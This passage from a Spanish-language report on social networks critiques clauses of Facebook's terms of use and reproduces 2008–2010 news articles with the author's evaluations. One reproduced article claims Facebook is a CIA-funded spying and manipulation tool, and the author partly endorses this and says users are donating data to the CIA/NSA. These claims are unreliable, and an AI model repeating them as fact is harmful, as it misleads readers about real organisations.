
Facebook, y puedes controlar cómo se comparte a través de la configuración
de privacidad y aplicaciones.
En el punto “2. Compartir el contenido de la información” se nos indica que somos

propietarios de nuestra propia información cosa que tiene bastante sentido, pero si seguimos
leyendo vemos que aparte de ser nosotros propietarios de la información, también lo es
Facebook.
2.1. Para el contenido protegido por derechos de propiedad intelectual,

como fotografías y video (en adelante, "contenido de PI"), nos concedes
específicamente el siguiente permiso, de acuerdo con la configuración de
privacidad y aplicaciones: Nos concedes una licencia no exclusiva,
transferible, con posibilidad de ser sub-otorgada, sin royalties, aplicable
globalmente, para utilizar cualquier contenido de PI que publiques en
Facebook o en conexión con Facebook (en adelante, "licencia de PI"). Esta
licencia de PI finaliza cuando eliminas tu contenido de PI o tu cuenta, salvo
si el contenido se ha compartido con terceros y éstos no lo han eliminado.
En este punto vemos que cualquier información de propiedad intelectual es propiedad

también de Facebook, y lo que es peor, no sólo de Facebook, sino de cualquier usuario o
entidad que la red desee ya que también es “transferible” y “sin royalties”, es decir,
completamente gratuita para el universo de Internet.
En el punto “4. Seguridad de la cuenta y registro” vemos la siguiente cláusula.
4. Seguridad de la cuenta y registro
4. 10. Si seleccionas un nombre de usuario para tu cuenta, nos

reservamos el derecho de eliminarlo o reclamarlo si lo consideramos
oportuno (como cuando el propietario de una marca comercial reclama
un nombre de usuario que no está relacionado con el nombre real de un
usuario).
Esto quiere decir que por motivos comerciales podrían obligarnos a cambiar de nombre de
usuario; por un lado es correcto ya que así no se promueve la venta de cuentas de Facebook
Página 313
sociales
con palabras clave como se hace con los dominios Web, pero por otro lado es algo abusivo que
Facebook pueda eliminar nuestro nombre de usuario cuando ellos lo deseen.
En el punto “9. Disposiciones especiales aplicaciones y desarrolladores u operadores de

aplicaciones y sitios Web”, podemos ver lo siguiente:
9. Disposiciones especiales aplicaciones y desarrolladores u operadores

de aplicaciones y sitios Web
9.19. Podemos crear aplicaciones que ofrezcan funciones y servicios

similares a los de tu aplicación, o que de algún modo compitan con ella.
Se entiende que ellos te pueden copiar la aplicación que tú has desarrollado de manera
completamente gratuita, ¿hasta dónde llega el límite de “similar”?.
En el punto “10. Acerca de la publicidad en Facebook” podemos ver la siguiente cláusula.
10. Acerca de la publicidad en Facebook
10.1. Puedes utilizar tu configuración de privacidad para limitar cómo se

pueden asociar tu nombre y fotografía de perfil al contenido comercial o
patrocinado que ofrecemos. Nos das permiso para utilizar tu nombre y foto
de perfil en conexión con ese contenido, de acuerdo con los límites que tú
establezcas.
Parece que nuestro nombre de usuario y foto de perfil son de “dominio público” por lo que nos
comentan en este punto de la declaración.
Respecto al punto “11. Disposiciones especiales aplicables a anunciantes “hay algunos

puntos que parecen algo abusivos para los anunciantes. Podemos destacar:
11. Disposiciones especiales aplicables a anunciantes
11.4. Nosotros determinaremos el tamaño, ubicación y colocación de tus

anuncios.
11. 5. No garantizamos la actividad que tendrán tus anuncios, por ejemplo,

el número de clics que recibirán.
11. 11. Podríamos rechazar o retirar cualquier anuncio por cualquier motivo.
Vemos que en el punto 11 se podría llegar a retirar un anuncio “por cualquier motivo”, ya no si
es ilícito o no cumple alguna de las declaraciones de los términos de uso, sino sin razón
ninguna podrían llegar a retirarse los anuncios.
En el punto “14. Terminación” nos dice que podemos darnos de baja cuando lo deseemos
pero que ciertas disposiciones siguen vigentes.
Página 314
sociales
14. Terminación
También puedes eliminar tu cuenta o desactivar tu aplicación en cualquier

momento. En tales casos, esta Declaración cesará, pero las siguientes
disposiciones continuarán vigentes: 2.2, 2.4, 3-5, 8.2, 9.1-9.3, 9.9, 9.10,
9.13, 9.15, 9.18, 10.3, 11.2, 11.5, 11.6, 11.9, 11.12, 11.13, y 14-18.
Algunos de estos puntos dicen:
2.2. Cuando eliminas contenido de PI, éste es borrado de forma similar a

cuando vacías la papelera o papelera de reciclaje de tu computador. No
obstante, entiendes que es posible que el contenido eliminado permanezca
en copias de seguridad durante un plazo de tiempo razonable (si bien no
estará disponible para terceros).
8.2. Nos das permiso para utilizar y permitir a otras personas utilizar dichos
enlaces y el contenido en Facebook.
Respecto al punto “15. Conflictos”, parece ser uno de los puntos más conflictivos ya que todo
el punto está escrito en mayúsculas. Nos comentan que cualquier demanda que surja se
deberá resolver en el tribunal estatal del condado de Santa Clara, dirigiendo las leyes de
California, EEUU la declaración.
Veamos el punto 15.3, escrito entero en mayúsculas por ser uno de los más importantes, sino
el que más.
15. Conflictos
15. 3. INTENTAMOS MANTENER FACEBOOK EN FUNCIONAMIENTO, SIN

ERRORES Y SEGURO, PERO LO UTILIZAS BAJO TU PROPIA
RESPONSABILIDAD. PROPORCIONAMOS FACEBOOK "TAL CUAL" SIN
GARANTÍA ALGUNA EXPRESA O IMPLÍCITA, INCLUIDAS, DE MANERA
ENUNCIATIVA PERO NO LIMITATIVA, LAS GARANTÍAS DE
COMERCIABILIDAD, ADECUACIÓN A UN FIN PARTICULAR Y NO
CONTRAVENCIÓN. NO GARANTIZAMOS QUE FACEBOOK SEA SEGURO.
FACEBOOK NO SE RESPONSABILIZA DE LAS ACCIONES, EL
CONTENIDO, LA INFORMACIÓN O LOS DATOS DE TERCEROS Y POR LA
PRESENTE NOS DISPENSAS A NOSOTROS, NUESTROS DIRECTIVOS,
EMPLEADOS Y AGENTES DE CUALQUIER DEMANDA O DAÑOS,
CONOCIDOS O DESCONOCIDOS, DERIVADOS DE O DE ALGÚN MODO
RELACIONADOS CON CUALQUIER DEMANDA QUE TENGAS
INTERPUESTA CONTRA TALES TERCEROS. SI ERES RESIDENTE DE
CALIFORNIA, NO SE TE APLICA EL CÓDIGO CIVIL DE CALIFORNIA §1542,
SEGÚN EL CUAL: "UNA RENUNCIA GENERAL NO INCLUYE LAS
Página 315
sociales
DEMANDAS QUE EL ACREEDOR DESCONOCE O NO SOSPECHA QUE

EXISTEN EN SU FAVOR EN EL MOMENTO DE EJECUCIÓN DE LA
RENUNCIA, LA CUAL, SI FUERA CONOCIDA POR ÉL, DEBERÁ HABER
AFECTADO MATERIALMENTE A SU RELACIÓN CON EL DEUDOR". NO
SEREMOS RESPONSABLES DE NINGUNA PÉRDIDA DE BENEFICIOS, ASÍ
COMO DE OTROS DAÑOS RESULTANTES, ESPECIALES, INDIRECTOS O
INCIDENTALES DERIVADOS DE O RELACIONADOS CON ESTA
DECLARACIÓN DE FACEBOOK, INCLUSO EN EL CASO DE QUE SE HAYA
AVISADO DE LA POSIBILIDAD DE QUE SE PRODUZCAN DICHOS DAÑOS.
NUESTRA RESPONSABILIDAD CONJUNTA DERIVADA DE LA PRESENTE
DECLARACIÓN O DE FACEBOOK NO PODRÁ SOBREPASAR LA
CANTIDAD MAYOR DE CIEN DÓLARES (100 $) O LA CANTIDAD QUE NOS
HAYAS PAGADO EN LOS ÚLTIMOS DOCE MESES. LAS LEYES
APLICABLES PODRÍAN NO PERMITIR LA LIMITACIÓN O EXCLUSIÓN DE
RESPONSABILIDAD POR DAÑOS INCIDENTALES O CONSECUENCIALES,
POR LO QUE LA EXCLUSIÓN DE LIMITACIÓN ANTERIOR PODRÍA NO SER
APLICABLE EN TU CASO. EN TALES CASOS, LA RESPONSABILIDAD DE
FACEBOOK SE LIMITARÁ AL GRADO MÁXIMO PERMITIDO POR LA LEY
APLICABLE.
Por lo que podemos leer, parece razonable que Facebook no se responsabilice de las posibles
pérdidas que puedan tener sus anunciantes o desarrolladores de aplicaciones. Pero lo que
parece bastante abusivo, es el hecho de que no garanticen que sea seguro, es decir, que si
Facebook no es seguro, cuando nosotros configuramos todas nuestra seguridad en Facebook
para que tales personas no puedan ver datos que no queremos, no estamos haciendo nada,
porque al fin y al cabo si hay fallos de seguridad, la red social no se responsabilizará de ellos.
Respecto al punto “16. Disposiciones especiales aplicables a usuarios que no residan en

Estados Unidos”, nos comentan que al firmar el acuerdo de condiciones de uso, aceptamos
que nuestros datos personales se transfieran a Estados Unidos y se procesen allí y que si
somos residentes de un país que no esté bajo el embargo de Estados Unidos no se podrán
realizar actividades comerciales a través de Facebook. Lo que quiere decir que prácticamente
estamos donando nuestros datos de carácter personal a la CIA (Central Intelligence Agency) o a
la NSA (National Security Agency).
16. Disposiciones especiales aplicables a usuarios que no residan en

Estados Unidos
16.1. Das tu consentimiento para que tus datos personales se transfieran a

Estados Unidos y se procesen en dicho país.
16.2. Si resides en un país que se encuentre bajo embargo de Estados

Unidos o en la lista SDN (Specially Designated Nationals, Nacionales
especialmente designados) del Departamento del Tesoro de Estados
Página 316
sociales
Unidos, no realizarás actividades comerciales en Facebook (como anuncios

o pagos) ni harás uso de sitios Web o aplicaciones de la plataforma.
En el punto “18. Otros”, dicen:
18. Otros
18. 3. Si no cumpliéramos alguna parte de esta Declaración, no se

considerará una exención.
Es decir, que si ellos incumplen parte del contrato, nosotros seguimos atados a él, a pesar de
que ellos lo han incumplido, pero si nosotros incumplimos parte del contrato, Facebook tiene
derecho a acabar con la relación que tiene con nosotros cuando lo desee, por lo que hemos
leído anteriormente.
Página 317
sociales
Puntos a favor
Algunas de las cláusulas velan por la seguridad de los usuarios y suenan bastante razonables:
En el punto “3. Seguridad “podemos destacar:
3. Seguridad
3.5. No solicitarás información de inicio de sesión ni accederás a una cuenta

perteneciente a otro usuario.
3.6. No molestarás, intimidarás ni acosarás a ningún usuario.
3.7. No publicarás contenido que: Resulte hiriente, intimidatorio o

pornográfico; o que incite a la violencia; o que contenga desnudos o
violencia gráfica o injustificada.
3. 10. No utilizarás Facebook para actos ilícitos, engañosos,

malintencionados o discriminatorios.
En el punto “4.Seguridad de la cuenta y registro “encontramos la siguiente cláusula:
4. Seguridad de la cuenta y registro
Los usuarios de Facebook proporcionan sus nombres e información reales y

necesitamos tu colaboración para que siga siendo así.
Esta cláusula ésta bien ya que promueve la autenticidad del usuario y los datos.
En el mismo punto también se nos comenta.
4. 5. No utilizarás Facebook si eres menor de 13 años.
4. 6. No utilizarás Facebook si has sido declarado culpable de un delito

sexual.
Es correcto que los usuarios menores de 13 años no puedan utilizar la red social (aunque
podrían ser capaces de falsificar la fecha de nacimiento y registrarse en la red) ya que se
podrían verse involucrados en actos de pornografía infantil o acoso. De hecho el límite de
edad según determinados países es incluso demasiado pequeño. El Facebook para menores
de edad debería estar tutelado por los padres de esos menores.
Respecto a la política para los desarrolladores de aplicaciones de Facebook, el punto “9.

Disposiciones especiales aplicaciones y desarrolladores u operadores de aplicaciones y
sitios Web”, algunos puntos a destacar son los siguientes:
Página 318
sociales
9. Disposiciones especiales aplicaciones y desarrolladores u operadores

de aplicaciones y sitios Web
9. 13. Cumplirás todas las leyes aplicables. En particular, deberás (si

procede):
9.13.1. Tener una política de eliminación de contenido infractor e

inhabilitación de los infractores que sea conforme a la ley estadounidense
de protección de los derechos de autor (Digital Millennium Copyright Act)
9.13.2. Cumplir la ley de protección de privacidad de vídeo (Video Privacy

Protection Act ("VPPA") y obtener el consentimiento necesario de los
usuarios para poder compartir con Facebook datos de usuario de acuerdo
con la VPPA. Declaras que cualquier divulgación realizada a nosotros no
será incidental para el funcionamiento ordinario de tu negocio.
En este punto se intenta proteger los datos de carácter personal de los usuarios. Se comenta
que no se recopilará ningún tipo de información privada sin consentimiento del usuario y que
se facilita la eliminación o desconexión de la aplicación. También podemos ver que Facebook
puede limitar el acceso a los datos de los usuarios si lo desea.
En el punto “13. Enmiendas” parece vemos una cláusula por parte de Facebook bastante
favorable a los usuarios y anunciantes, aunque parece que el número de personas es
excesivamente elevado para poder crear una queja real en la red.
13. Enmiendas
13.3. Si más de 7.000 usuarios envían comentarios acerca del cambio

propuesto, también te daremos la oportunidad de participar en una
votación en la que se te ofrecerán alternativas. El voto será vinculante para
nosotros si más del 30% de todos los usuarios registrados activos en la
fecha de la notificación votan.
Página 319
sociales
15.2.8. Noticias
Vamos a ver y analizar algunas noticias interesantes referentes a la red, tanto de cómo ha
evolucionado esta a lo largo de los años, como noticias referentes a aplicaciones o
relacionadas con la privacidad y los términos de uso de la red social.
Facebook’s Initial Crew Moving On

NEW YORK TIMES.
Facebook’s Initial Crew Moving On
Fuente: New York Times
Fecha: 20.Nov.2010
Web:http://www.nytimes.com/2010/11/03/technology/03facebook.html?_r=1&scp=9&sq=facebook&
st=cse
Facebook, the most successful start-up of the last decade, is only six years old,
and an initial public offering is still a way off.
But a number of Facebook‘s early employees are giving up their stable jobs, free
food and laundry service to build their own businesses. Many of them are leaving
as wealthy, either on paper or after cashing in their ownership stakes to do what
they say they like best: start companies.
Dustin Moskovitz, 26, who co-founded Facebook with his Harvard roommate Mark
Zuckerberg, left his job on Facebook‘s technical staff to create Asana, which
makes software that helps workers collaborate.
Another Facebook co-founder, Chris Hughes, also 26, has started Jumo, a social
network for ― p eople who want to change the world. ‖
Dave Morin, formerly the senior platform manager, is building Path, a still-
secretive venture, while Adam D‘Angelo, who was Facebook‘s chief technology
officer, and Charlie Cheever, another senior manager, set off in 2008 and 2009
respectively to start Quora, a question-and-answer site. More than half a dozen
start-ups can trace their origins to Facebook alumni.
The departures follow a familiar pattern among other Silicon Valley successes like
Yahoo, eBay and Google. After amassing fortunes, early employees start walking out
the door.
(...)
Evaluación
Algo pasa en Facebook cuando los trabajadores iniciales abandonan la empresa para
montarse sus propios negocios, quizá el negocio de las nuevas tecnologías es muy jugoso para
estos creadores o quizá el ambiente de trabajo no es el adecuado en la empresa.
Página 320
sociales
Tres de cada cuatro internautas repiten la contraseña en redes sociales y correo (20
minutos)
20 MINUTOS.
Tres de cada cuatro internautas repiten la contraseña en redes
sociales y correo.
Fuente: 20 MINUTOS.ES / EUROPA PRESS.
Fecha: 19.Sep.2010 - 16.36 h.
Web:http://www.20minutos.es/noticia/816300/0/contrasena/correo/facebook/.
― U n nuevo estudio sobre las contraseñas que suelen emplearse en Internet revela
que el 75% de las personas (tres de cada cuatro) usan la misma clave de acceso
para sucorreo electrónico que para la red social (especialmente Facebook yTuenti)
que utilizan, algo que hace más vulnerable su seguridad frente a amenazas
externas, que van desde el robo de datos personales hasta el uso de la cuenta de
correo o de la red social por otros para enviar spam o malware.
Este informe, elaborado por la empresa especializada en seguridad informática
BitDefender, y de la que se hacen eco en Portaltic, señala, también, que más de
250.000direcciones decorreo electrónico, nombres de usuario y contraseñas, pueden
ser encontrados con bastante facilidad en Internet a través de comentarios, blogs,
plataformas de colaboración 'torrents' u otros canales.
Estos datos siguen siendo válidos en un 87% de los casos a día de hoy. El consejo
más extendido entre empresas dedicadas a la seguridad informática es, en primer
lugar, cambiar la contraseñacada dos o tres meses.
Usamos contraseñas poco seguras
Hace un año, conocíamos un estudio relativo a las contraseñas usadasen uno de los
servicios de correo electrónico más usados, Hotmail. Las conclusiones a las que se
llegaban eran: por un lado, que la contraseña más empleada era '123456' y, por
otro, que las alfanuméricas (las más recomendadas para dotar de seguridad una
cuenta) tan sólo eran usadas por un 6% de los usuarios. ‖
Evaluación
Como vemos en la noticia, el uso de la misma contraseña para todas nuestras redes sociales
incrementa la inseguridad ya que si alguien es capaz de acceder a una red social podrá acceder
a todas las demás, además con el mismo correo electrónico en todas.
Esto por un lado parece inseguro pero por otro lado se parece bastante a la forma de registro
que pretende Open ID, en donde se unifican todas las autenticaciones de nuestras Web en una
sola contraseña y usuario de Open ID.
Página 321
sociales
Facebook llegó a los 500
LA RAZÓN.
Facebook llegó a los 500.
Fuente: LA RAZÓN.
Fecha: 22.Jul.2010 - 10:39h.
Web:http://www.larazon.com.ar/interesa/Facebook-llego_0_151500089.html
― U N FENOMENO QUE YA UTILIZA EL 8% DE LA POBLACION MUNDIAL.

La red social creada por Mark Zuckerberg alcanzó los 500 millones de usuarios y
espera duplicarlos en 3 años.
"Es un lindo número, pero las cifras no importan realmente. Lo que importa son
todas las historias que escuchamos de ustedes sobre el impacto que han tenido las
conexiones en sus vidas".
Mark Zuckerberg, el fundador y CEO de la red social más popular del mundo, colgó
un video con esas palabras en el blog oficial de Facebook ayer, cuando su mejor
invención alcanzó los 500 millones de usuarios.
Con 6 años de antigüedad, Facebook es utilizado hoy por el 8% de la población
mundial, a apenas 18 meses de sobrepasar la marca de los 150 millones de usuarios.
Hace un mes, Zuckerberg se atrevió a decir que había una "buena posibilidad" de
que la red social llegue a los 1.000 millones de usuarios en 3 a 5 años.
De los actuales 500 millones de usuarios, 60 millones son latinoamericanos, es
decir, el 12%.
De esos 60 millones de usuarios latinoamericanos, México ocupa el primer lugar en
la clasificación con 12,5 millones de usuarios, seguido por Argentina y Colombia,
con 10 y 9,7 millones, respectivamente.
Lo cierto es que Facebook sigue sumando seguidores a un ritmo récord a pesar de
las crecientes preocupaciones sobre las políticas de privacidad de un sitio que
tiene más datos de sus usuarios que cualquier otra Web.
De hecho, según el American Customer Satisfaction Index 2010 (ACSI), el nivel de
satisfacción de los clientes de Facebook en Estados Unidos es del 64%, un 5% por
debajo del resto de empresas del sector. Wikipedia tiene un 77% de satisfacción y
YouTube, 73%, por ejemplo.
NUEVA APLICACIÓN
De todos modos, la red social aprovechó el festejo para lanzar la aplicación
Stories (Historias) en la que los usuarios podrán contar sus anécdotas en relación
al impacto que tuvo Facebook en sus vidas.
"Estamos lanzando una nueva aplicación donde pueden compartir su propia historia y
leer cientos de otras personas, clasificadas por temas y lugares de todo el
mundo", indicó ayer Zuckerberg.
"En vez de centrarnos en las cifras, queremos que la gente de todo el mundo
escuche estas historias y queremos que cuentes tu propia historia", añadió.
Zuckerberg enumeró algunos ejemplos de esta nueva aplicación, entre los que están
la historia de Ben Taylor, un estudiante de 17 años que logró reconstruir un
antiguo teatro de Kentucky a través de una campaña lanzada en Facebook, o el del
primer ministro danés, Anders Fogh Rasmussen, que organizó un encuentro con sus
100 fans en Facebook para correr juntos. ‖
Evaluación
Como vemos la red social va más y más en aumento pudiendo llegar de 3 a 5 años, según su
creador Mark Zurckerberg, a 1.000 millones de usuarios.
Página 322
sociales
Facebook corrige su cláusula sobre derechos tras la polémica
ECODIARIO.ES.
Facebook corrige su cláusula sobre derechos tras la polémica.
Fuente: EcoDiario.
Fecha:18.Feb.2009 - 11:52h.
Web:http://ecodiario.eleconomista.es/internet/noticias/1042909/02/09/Facebook-corrige-
su-clausula-de-contenidos-tras-la-polemica-de-derecho-perpetuo-sobre-ellos.html
La popular red social Facebook, una de las más importantes del mundo con 175
millones de usuarios, se enfrenta a una nueva polémica por su política de
privacidad. El portal añadió una cláusula por la que informaba a los usuarios de
que cedían sus contenidos -vídeos, fotos, textos- de forma "perpetua". Tras el
aluvión de críticas, Facebook ha vuelto a las condiciones de uso anteriores.
Mark Zuckerberg, director ejecutivo de Facebook, ha escrito en su red socialpara

tranquilizar a los usuarios. Les pide confianza y asegura que quienes "poseen y
controlan su información" son ellos mismos. Según Zuckerberg la intención de la
compañía es asegurar que los usuarios puedan acceder a los contenidos comunes a
pesar de que un usuario haya decidido eliminarlos.
De todos modos, Mark Zuckerberg escribe que han decidido volver "a las
condiciones de uso anteriores", mientras resuelven los problemas que les han
hecho llegar los usuarios con sus quejas.
LA POLÉMICA
Hace un par de semanas, Facebook revisó las condiciones de uso de su red social.
Esta noticia cayó como una bomba en la comunidad de blogers, que se hicieron eco
de la nueva política de privacidad de la popular red social.
Anteriormente, Facebook ya se reservaba el derecho a ejercer control sobre los
contenidos pero con este cambio, lo hacía de forma "irrevocable", "perpetua" y con
"licencia mundial". Antes, si un usuario borraba un contenido, el portal perdía el
derecho sobre éste.
Además, con el cambio en las condiciones, Facebook advertía que podría utilizar de
múltiples maneras los datos: "usarlos", "copiarlos", "publicarnos",
"almacenarlos", "retenerlos", "publicitarlos", "transmitirlos", "escanearlos",
"cambiarles el formato", "modificarlos", "editarlos", "traducirlos" o
"adaptarlos", entre otras cosas. Y todo eso de forma "perpetua".
Fue el blog The Consumerist el que se encargó de destapar la información y

Facebook envió un mensaje, asegurando que "no almacenarán el material para
siempre".
VUELTA ATRÁS
Tras las quejas recibidas y el malestar generado en los usuarios, Facebook ha
vuelto a las condiciones de uso anteriores, por lo menos mientras revisa los
problemas que se plantearon con la modificación anterior. Además, para
tranquilizar, Mark Zuckerberg -el director ejecutivo de la red social- recalcó que
nunca se usará la información fuera del servicio Facebook. ‖
Página 323
sociales
Evaluación
Los términos de uso y la política de privacidad de esta red siempre son temas de debate. Es
difícil para un usuario aceptar siendo consciente que sus datos personales e información que
añadimos a la red sea propiedad exclusiva de Facebook y que lo haga de manera permanente
pudiendo hacer con estos datos multitud de cosas como nos dice en el artículo "usarlos",
"copiarlos", "publicarnos", "almacenarlos", "retenerlos", "publicitarlos", "transmitirlos",
"escanearlos", "cambiarles el formato", "modificarlos", "editarlos", "traducirlos" o "adaptarlos".
A pesar de las críticas que recibe Facebook, si buscamos en los términos de uso o en su política
de privacidad la palabra perpetuo/a no aparece en ningún lugar del documento, por lo que
este tipo de cláusulas han sido eliminadas debido a las duras críticas que recibe la red social
referentes a la privacidad. En los términos de uso se dice que la información puede
permanecer en servidores de bakcup un determinado tiempo, pero no leemos en ningún sitio
que esta información puede permanecer de manera infinita en la red.
Lo que si sabemos, es que la información que contenga derechos de propiedad intelectual

además de ser nosotros los propietarios de ella la cedemos a la red. Lo podemos leer en su
política de privacidad: “Para el contenido protegido por derechos de propiedad intelectual,
como fotografías y video (en adelante, "contenido de PI"), nos concedes específicamente el
siguiente permiso, de acuerdo con la configuración de privacidad y aplicaciones: Nos
concedes una licencia no exclusiva, transferible, con posibilidad de ser sub-otorgada, sin
royalties, aplicable globalmente, para utilizar cualquier contenido de PI que publiques en
Facebook o en conexión con Facebook (en adelante, "licencia de PI"). Esta licencia de PI
finaliza cuando eliminas tu contenido de PI o tu cuenta, salvo si el contenido se ha compartido
con terceros y éstos no lo han eliminado.”
Página 324
sociales
Facebook es de la CIA
WALTER GOOBAR.
Facebook es de la CIA.
Fuente: Walter Goobar.
Fecha: 8.Jun.2008.
Web:http://www.waltergoobar.com.ar/frontend/contenido/tema.detalle.php?noticiaId=402
El popular sitio con 70 millones de usuarios está financiado con capital de riesgo
de la Agencia Central de Inteligencia que espía a todos los usuarios y recluta sus
agentes a través del portal.
Aunque se presenta como un inofensivo sitio Web de redes sociales, que tiene como
finalidad facilitar las relaciones interpersonales, el portal Facebook que reúne a
más de 70 millones de usuarios a nivel mundial es en realidad un experimento de
manipulación global. El popular Facebook es una sofisticadaherramienta financiada
por la Agencia Central de Inteligencia, CIA que no sólo la utiliza para el
reclutamiento de agentes y la recopilación de información a lo largo y ancho del
planeta, sino también para montar operaciones encubiertas. La más reciente y
exitosa fue la movilización internacional contra las Farc, lanzada desde Facebook
a comienzos de este año.
En teoría, Facebook es una herramienta de comunicación social que permite
contactar yarchivar las direcciones y otros datos de los amigos y familiares que
conocemos. Pero también constituye una mina de informaciones para los servicios de
inteligencia que explotan estos datos, y que gracias a Facebook, saben todo sobre
sus usuarios.
La enciclopedia electrónica Wikipedia presenta a Facebook como un sitio Web de

redes sociales. Los usuarios pueden participar en una o más redes, en relación con
su situación académica, su lugar de trabajo o región geográfica.Millones de
usuarios ofrecen de forma voluntaria información sobre su identidad, fotografías y
listas de sus objetos de consumo favoritos.Uno recibe generalmente por correo
electrónico un mensaje como el de aquí arriba, de parte de un amigo que con buenas
intenciones -y sin saber lo que esto implica-, lo invita a inscribirse y
participar en Facebook.
Lo que no saben es que esos datos van a parar directamente a los discos duros de
las computadoras de la Agencia Central de Inteligencia de los EEUU.
El controversial sistema Beacon que utiliza Facebook hace un seguimiento de las

actividades de todos los usuarios y sus asociados, incluyendo aquellos que nunca
se registraron en Facebook o los que desactivaron sus cuentas con este sitio Web.
En Facebook participan los 16 servicios de inteligencia de los Estados Unidos,
comenzando por la CIA, el Pentágono y el Departamento de Defensa. Todo lo colectan
y todo lo guardan. Nada se les escapa: fotos, correos electrónicos,
conversaciones, imágenes, música y cualquier otra información relevante. Con eso
establecen perfiles psicopolíticos y cuadros de contactos de cada usuario.
La población de Facebook crece a razón de dos millones de personas por semana con
lo cual la CIA está accediendo a una fenomenal base de datos que contiene las
relaciones entre 70 millones de personas desde la escuela primaria y a lo largo de
toda su vida.
"Facebook, al igual que PayPal, es un experimento social de perfil
neoconservador ‖ , afirma el periodista Tom Hodgkinson, del diario británico The
Guardian.
Página 325
sociales
Aunque el proyecto fue concebido por Mark Zuckerberg, la cara real detrás de
Facebook es Peter Thiel, inversor de capital de riesgo y cofundador y presidente
del sistema de pago en línea PayPal.
Thiel dice que PayPal demuestra que no sólo se puede encontrar valor en objetos,
sino también en las relaciones entre los seres humanos.
En realidad, PayPal es una manera de mover dinero alrededor del globo sin
restricciones, saltándose todos los controles de divisas".
Otro de los personajes detrás de Facebook y de Thiel es René Girard, un gurú de
Stanford, que sostiene que el comportamiento humano funciona por deseo mimético,
un concepto cada vez más utilizado en operaciones de inteligencia.
Girard afirma que la gente se mueve como un rebaño y se copia una a otra sin mucha
reflexión. Para Thiel, el objeto de deseo es irrelevante. Todo lo que se necesita
saber es que los seres humanos tienden a moverse en manada.
ESPIA SE BUSCA
Desde diciembre de 2006, la CIA utiliza Facebook para reclutar nuevos agentes.
Al igual que otras empresas u organizaciones sin fines de lucro, la incursión de
la agencia de espionaje en Facebook es parte de una nueva estrategia. En otros
organismos gubernamentales existen estrictas regulaciones federales que guían el
reclutamiento y contratación, pero la CIA es una agencia exenta, lo que significa
que tiene su propia autoridad de contratación y no es auditado.
"No es necesario obtener ningún tipo de permiso para poder incluirnos en la red
social", dice la CIA.
DOLARES MARCADOS
El portal vale cientos de millones de dólares y fue creada con dinero de Greylock
Venture Capital, un fondo de inversión que tiene un fuerte vínculo con la CIA.
La más reciente inyección de capital a Facebook -27,5 millones de dólares- fue
liderada por Greylock Venture Capital. Uno de los socios de Greylock es Howard
Cox, que –según The Guardian-, pertenece nada menos que el ala de inversión en
capital de riesgo de la CIA.
Creada en 1999, su misión es la de "identificar y asociarse con compañías que
estén desarrollando nuevas tecnologías para ayudar a proveer soluciones a la
Agencia Central de Inteligencia".
Página 326
sociales
UN CASO TESTIGO
Una minuciosa investigación realizada por el periodista Pascual Serrano del diario
digital Rebelión, revela como Facebook fue utilizado para armar una campaña
internacional contra las Fuerzas Armadas Revolucionarias de Colombia (Farc).
El 4 de febrero se celebró en todo el mundo una movilización contra las Farc. Los
medios destacaron la espontaneidad de la iniciativa, supuestamente originada desde
Facebook al que presentaban como una red social para los estudiantes.
Los medios insistieron que todo partía de ― un ingeniero civil de 33 años
reconvertido en informático y afincado en la ciudad colombiana de Barranquilla ‖ .
La izquierda colombiana, organizaciones de Derechos Humanos y familiares de
retenidos por las Farc criticaron duramente esa movilización a la que calificaron
de guerrerista y partidista porque negaba la posibilidad de una salida dialogada
al conflicto, ignoraba los crímenes cometidos por los paramilitares y el ejército
y apostaba por una solución exclusivamente militar al gusto del gobierno de Alvaro
Uribe, los sectores militares, las empresas de armamento y del gobierno de Estados
Unidos.
Entre los grupos de usuarios de Facebook hay títulos elocuentes: ― Un millón de
voces contra las Farc ‖ (130.000 inscriptos), ― Mil personas que odian a Hugo
Chavez ‖ (1.300 abonados) y ― Yo también quiero ver muertos a los de las Farc ‖
(8.200 usuarios), lo que da idea de su línea ideológica en lo referente a
Colombia.
Facebook recuerda a una novela de John Le Carré en la que detrás de los títeres
están los titiriteros.
Evaluación
Es cierto que parte del capital de Facebook pertenece a “amigos” de la CIA, pero decir que
Facebook es única y exclusivamente un instrumento de manipulación es algo arriesgado, aún
así, no cabe duda que pueda ser como base de datos en investigaciones por parte de la CIA u
otros organismos estadounidenses.
Si esto implica que la red social va ser útil para coger a terroristas de las grandes asociaciones
mundiales de terrorismo como las Farc y Al-Qaeda o en el caso de España la ETA no hay
problema en ceder los datos personales de la red a las organizaciones policiales del planeta,
pero hasta que punto analizan únicamente los perfiles de personas relacionadas con el
terrorismo o “establecen perfiles psicopolíticos y cuadros de contactos de cada usuario” como
se nos dice en el artículo.
Página 327
sociales
Facebook tuvo que cerrar por manejar mal un fallo en su sistema
EL PAIS
Facebook tuvo que cerrar por manejar mal un fallo en su
sistema.
Fuente: El País.
Fecha: 24.Sep.2010.
Web:
http://www.elpais.com/articulo/internet/Facebook/tuvo/cerrar/manejar/mal/fallo/sistema/
elpeputec/20100924elpepunet_1/Tes
La red social más popular, con 500 millones de usuarios en el mundo, estuvo
inaccesible ayer durante más de dos horas afectando a miles de internautas.- El
intento "desafortunado" de solucionar un error de su sistema causó el colapso de
la base de datos.
¿Intentaste ayer noche (sin éxito) comunicarte con tus amigos en Facebook,
escribir una actualización o utilizar el botón de "me gusta" desde cualquier
página? No eras el único, ni se trataba de un problema de tu servidor. Miles de
internautas que pretendieron acceder a la red social más popular (500 millones de
usuarios en todo el mundo) se encontraron en la misma situación entre
aproximadamente las 20.30 y las 23.00, hora peninsular española: frustrados ante
una pantalla en blanco con el mensaje "Invalid URL" (dirección no válida). Se
trataba, según Facebook, que pidió después disculpas dentro de la propia
plataforma, "de la peor avería en cuatro años". El intento "desafortunado",
aseguran, de arreglar un error de su sistema colapsó las bases de datos y tuvieron
que cerrar la red.
El espacio virtual donde los internautas pasan varias horas al día conversando y
compartiendo información (con 10 millones de usuarios activos sólo en España) no
funcionaba, al tiempo que los mensajes inundaban la red de microblogging Twitter.
Muchos twitteros alertaban del problema, reproducían la leyenda del error,
ironizaban o hacían chistes sobre la situación. Desde: "Última hora. Facebook está
caído. La productividad sube, Estados Unidos sale de la recesión" (uno de los más
reenviados, por cierto), a "creo que puedo volver a mi vida ahora... después de
este tweet (mensaje)", pasando por "veo más gente por la calle, es porque Facebook
no funciona". Alguno recordaba que era el segundo día consecutivo que la red
fundada por Mark Zuckerberg en Harvard experimentaba problemas. El volumen de
